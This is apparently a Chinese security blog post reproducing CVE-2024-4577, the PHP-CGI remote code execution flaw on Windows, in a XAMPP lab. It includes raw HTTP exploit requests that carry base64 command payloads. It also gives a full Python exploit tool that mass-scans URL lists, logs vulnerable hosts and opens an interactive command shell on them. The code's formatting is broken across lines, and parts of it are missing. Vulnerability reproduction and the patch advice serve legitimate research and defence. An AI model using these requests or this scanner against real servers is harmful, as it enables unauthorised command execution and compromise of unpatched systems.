声明:<TEST安全>公众号分享的安全工具、漏洞复现和项目均来源于网络,仅供安全研究与学习之用,
如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。
PHP CGI在Windows平台的远程代码执行漏洞(CVE-2024-4577),探讨了漏洞的技术细节、背景、利用条件以及修复建议。PHP官方团队已于2024年6月6日发布了新版本修复CVE-2024-4577,该漏洞利用前置条件较低且危害较大,建议尽快升级到安全版本。
0x00 漏洞概述
CVE-2024-4577是一个影响在Windows平台上运行的PHP CGI的远程代码执行漏洞。
漏洞的存在是因为PHP在设计时未能预见到Windows的Best-Fit字符编码转换特性,这使得攻击者可以通过构造特定的请求来绕过安全限制。受影响的环境包括使用特定语系设置的Windows系统,如简体中文(936)、繁体中文(950)和日文(932)。
0x01 多篇文章影响范围
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
其他版本的PHP官方已不在维护,建议根据实际情况升级到安全版本或者关闭php-cgi的使用。
Xmapp复现环境8.2.12下载,本次复现环境下载:
https:
/
/zenlayer.dl.sourceforge.net/project
/xampp/
XAMPP%
20
Windows/
8.2
.
12
/xampp-windows-x64-
8.2
.
12
-
0
-VS16-installer.exe?viasf=
1
其他版本环境下载地址:
https:
/
/sourceforge.net/projects
/xampp/files
/XAMPP%20Windows/
下载后直接双击下一步安装即可,如果你下载的是免安装版本可以解压后找到这个文件双击打开
打开之后会提示选择语言,一般默认即可
启动这两个此时环境已经搭建成功
通过浏览器访问查看网页是否可以正常打开
随后使用POC读取文件C:/windows/system.ini进行验证
D
:
CVE-2024-4577-PHP-RCE-main
CVE-2024-4577-PHP-RCE
.py
192
.168
.0
.105
:80
读取结果如图,验证代码参考文章最后:
对于影响范围可能实际不止文章开头所提到的,作者在其他文章找到更广的影响范围如下:
- PHP Windows 版本8.3.0 <= 影响版本 < 8.3.8
- PHP Windows 版本8.2.0 <= 影响版本 < 8.2.20
- PHP Windows 版本8.1.0 <= 影响版本 < 8.1.29
- PHP Windows 版本影响版本 == 8.0.x
- PHP Windows 版本影响版本 == 7.x
- PHP Windows 版本影响版本 == 5.x
- XAMPP Windows 版本8.2.0 <= 影响版本 <= 8.2.12
- XAMPP Windows 版本8.1.0 <= 影响版本 <= 8.1.25
- XAMPP Windows影响版本 == 8.0.x
- XAMPP Windows影响版本 == 7.x
- XAMPP Windows影响版本 == 5.x
对于影响范围我下载了PHP Version 7.4.25进行验证
环境下载地址为,环境安装方式和文章开头一致:
https:
/
/sourceforge.net/projects
/xampp/files
/XAMPP%20Windows/
7.4
.
25
/
此时,使用7.4.25进行漏洞验证,还是使用上面的代码进行验证,成功读取的文件C:/windows/system.ini内容如下:
因此此漏洞可能影响的漏洞范围更为广泛,同时从github下载多个poc进行测试,最终检测结果均为不存在漏洞,但是使用上面这个poc检测漏洞是存在的:
其中本文测试的poc大致如下,但是使用上述poc验证是可以成功读取文件的:
https:
//github.com/aaddmin1122345/CVE-2024-4577-POC
https:
//github.com/watchtowrlabs/CVE-2024-4577
既然在可以读取到系统里面的C:/windows/system.ini文件内容那么说明这个漏洞肯定是存在的,经过分析决定使用burp进行重放数据包进行分析
构造的exp如下,使用exp查看当前权限:
GET
/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/PiAg"
HTTP/1.1
Host
: 192.168.0.105:80
User-Agent
:
Accept-Encoding
: gzip, deflate
Accept
: */*
Connection
: close
Redirect-Status
: XCANWIN
Content-Length
: 0
使用同样的exp验证php 7.4.25
同样我们如果想查看当前目录下的文件构造exp如下:
GET
/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/PiAg"
HTTP/1.1
Host
: 192.168.0.105:80
User-Agent
:
Accept-Encoding
: gzip, deflate
Accept
: */*
Connection
: close
Redirect-Status
: XCANWIN
Content-Length
: 0
验证7.4.25版本还是失败
注意:在执行命令的时候base64编码后的内容如果是=号可能会失败,此时我们可以在被执行的命令最后加空格试试或把=删除试试,如图此时并未成功
尝试把==删除后成功执行
经过测试发现在php 7.4.25版本虽然没成功执行命令,但是成功读取到系统文件C:/windows/system.ini文件内容,因此除了开头所提到的版本,漏洞应该还包含其他的版本,有心情的可以深入研究研究,经过测试phpstudy默认环境验证这个漏洞失败,所以复现这个漏洞建议使用xmapp
命令执行exp代码如下:
import
re
import
base64
import
requests
import
rich_click
as
click
from
colorama
import
Fore, init
from
alive_progress
import
alive_bar
from
prompt_toolkit
import
PromptSession
from
prompt_toolkit.formatted_text
import
HTML
from
prompt_toolkit.history
import
InMemoryHistory
from
concurrent.futures
import
ThreadPoolExecutor, as_completed
requests.packages.urllib3.disable_warnings()
init(autoreset=
True
)
class
PHPKiller
:
def
__init__
(self, file_path=None, url=None, output=None)
:
self.urls = []
self.output = output
if
file_path:
self.urls = self.read_urls_from_file(file_path)
elif
url:
self.urls =
self.single_url_mode = url
is
not
None
def
read_urls_from_file
(self, file_path)
:
with
open(file_path,
"r"
)
as
file:
return
file.read().splitlines()
def
custom_print
(self, message: str, header: str)
->
None
:
header_colors = {
"+"
:
"green"
,
"-"
:
"red"
,
"!"
:
"yellow"
,
"*"
:
"blue"
}
header_color = header_colors.get(header,
"white"
)
formatted_message = click.style(
f"[
{header}
] "
, fg=header_color, bold=
True
) + click.style(
f"
{message}
"
, bold=
True
, fg=
"white"
)
click.echo(formatted_message)
def
send_request
(self, url, cmd=
"whoami"
, verbose=True)
:
headers = {
"Content-Type"
:
"application/x-www-form-urlencoded"
}
test = base64.b64encode(
f"echo '[S]'; system('
{cmd}
'); echo '[E]';"
.encode()
).decode()
data =
f"<?php phpinfo(); echo eval(base64_decode('
{test}
')); die()?>"
php_settings = [
"-d cgi.force_redirect=0"
,
'-d disable_functions=""'
,
"-d allow_url_include=1"
,
"-d auto_prepend_file=php://input"
,
]
settings_str = (
" "
.join(php_settings)
.replace(
"-"
,
"%AD"
)
.replace(
"="
,
"%3D"
)
.replace(
" "
,
"+"
)
)
payload =
f"/php-cgi/php-cgi.exe?
{settings_str}
"
try
:
response = requests.post(
f"
{url.rstrip(
'/'
)}
{payload}
"
,
headers=headers,
data=data,
timeout=
5
,
verify=
False
,
)
match = re.search(
r"[S](.*?)[E]"
, response.text, re.DOTALL)
if
match:
result_value = match.group(
1
).strip()
if
verbose:
self.custom_print(
f"The URL
{url}
is vulnerable, Result:
{result_value}
"
,
"+"
)
return
True
, url, result_value
else
:
return
False
, url,
f"Fail at
{url}
with payload
{payload}
"
except
requests.exceptions.RequestException
as
e:
return
None
, url,
f"Error at
{url}
with payload
{payload}
:
{str(e)}
"
def
execute_requests
(self)
:
total_urls = len(self.urls)
success_count =
0
fail_count =
0
error_count =
0
if
self.single_url_mode:
result, url, message = self.send_request(self.urls[
0
])
if
result:
if
self.output:
with
open(self.output,
"a"
)
as
f:
f.write(
f"
{url}
n"
)
self.interactive_shell(url)
else
:
self.custom_print(message,
"-"
)
else
:
with
ThreadPoolExecutor(max_workers=
100
)
as
executor, alive_bar(
total_urls, enrich_print=
False
)
as
bar:
future_to_url = {
executor.submit(self.send_request, url): url
for
url
in
self.urls
}
for
future
in
as_completed(future_to_url):
result, url, message = future.result()
if
result:
success_count +=
1
if
self.output:
with
open(self.output,
"a"
)
as
f:
f.write(
f"
{url}
n"
)
elif
result
is
False
:
fail_count +=
1
else
:
error_count +=
1
bar.text = (
f"
{Fore.GREEN}
Success:
{success_count}
{Fore.RESET}
, "
f"
{Fore.YELLOW}
Fail:
{fail_count}
{Fore.RESET}
, "
f"
{Fore.RED}
Error:
{error_count}
{Fore.RESET}
"
)
bar()
def
interactive_shell
(self, url: str)
:
session = PromptSession(history=InMemoryHistory())
while
True
:
cmd = session.prompt(
HTML(
"<ansiyellow><b>WINDAUBE> </b></ansiyellow>"
), default=
""
).strip()
if
cmd.lower() ==
"exit"
:
break
if
cmd.lower() ==
"clear"
:
print(
"x1b[2Jx1b[H"
, end=
""
)
continue
_, _, response = self.send_request(url, cmd, verbose=
False
)
self.custom_print(
f"Result:nn
{response}
"
,
"*"
)
help=
"""
PHP CGI argument injection vulnerability affecting PHP in certain configurations on a Windows target.
A vulnerable configuration is locale dependent (such as Chinese or Japanese), such that
the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D)
character. Additionally, a target web server must be configured to run PHP under CGI mode, or directly expose
the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch),
and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have not received patches.
"""
)
"--file"
,
"-f"
,
type=click.Path(exists=
True
),
required=
False
,
help=
"Path to file containing URLs to test."
,
)
"--output"
,
"-o"
,
type=str,
required=
False
,
help=
"Output file to save vulnerable URLs."
,
)
def
main
(file, url, output)
:
if
file:
sender = PHPKiller(file_path=file, output=output)
elif
url:
sender = PHPKiller(url=url, output=output)
else
:
click.echo(
"You must provide either a file with URLs or a single URL to test."
)
return
sender.execute_requests()
if
__name__ ==
"__main__"
:
main()
另外附件包含可直接执行命令的exp如图:
修复建议:
目前该漏洞已经修复,受影响用户可升级到PHP版本8.3.8、8.2.20、8.1.29或更高版本。
参考连接:
https:
//github.com/11whoami99/CVE-2024-4577
https:
//github.com/ohhhh693/CVE-2024-4577
https:
//github.com/manuelinfosec/CVE-2024-4577
https:
//github.com/Chocapikk/CVE-2024-4577
https:
//sourceforge.net/projects/xampp/files/XAMPP%20Windows/
https:
//github.com/xcanwin/CVE-2024-4577-PHP-RCE
https:
//github.com/W01fh4cker/CVE-2024-27198-RCE
https:
//github.com/duy-31/CVE-2024-21413
https:
//devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/
https:
//bodhi.fedoraproject.org/updates/FEDORA-2024-52c23ef1ec
https:
//www.kb.cert.org/vuls/id/520827
https:
//www.php.net/downloads
原文始发于微信公众号(TEST安全):XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论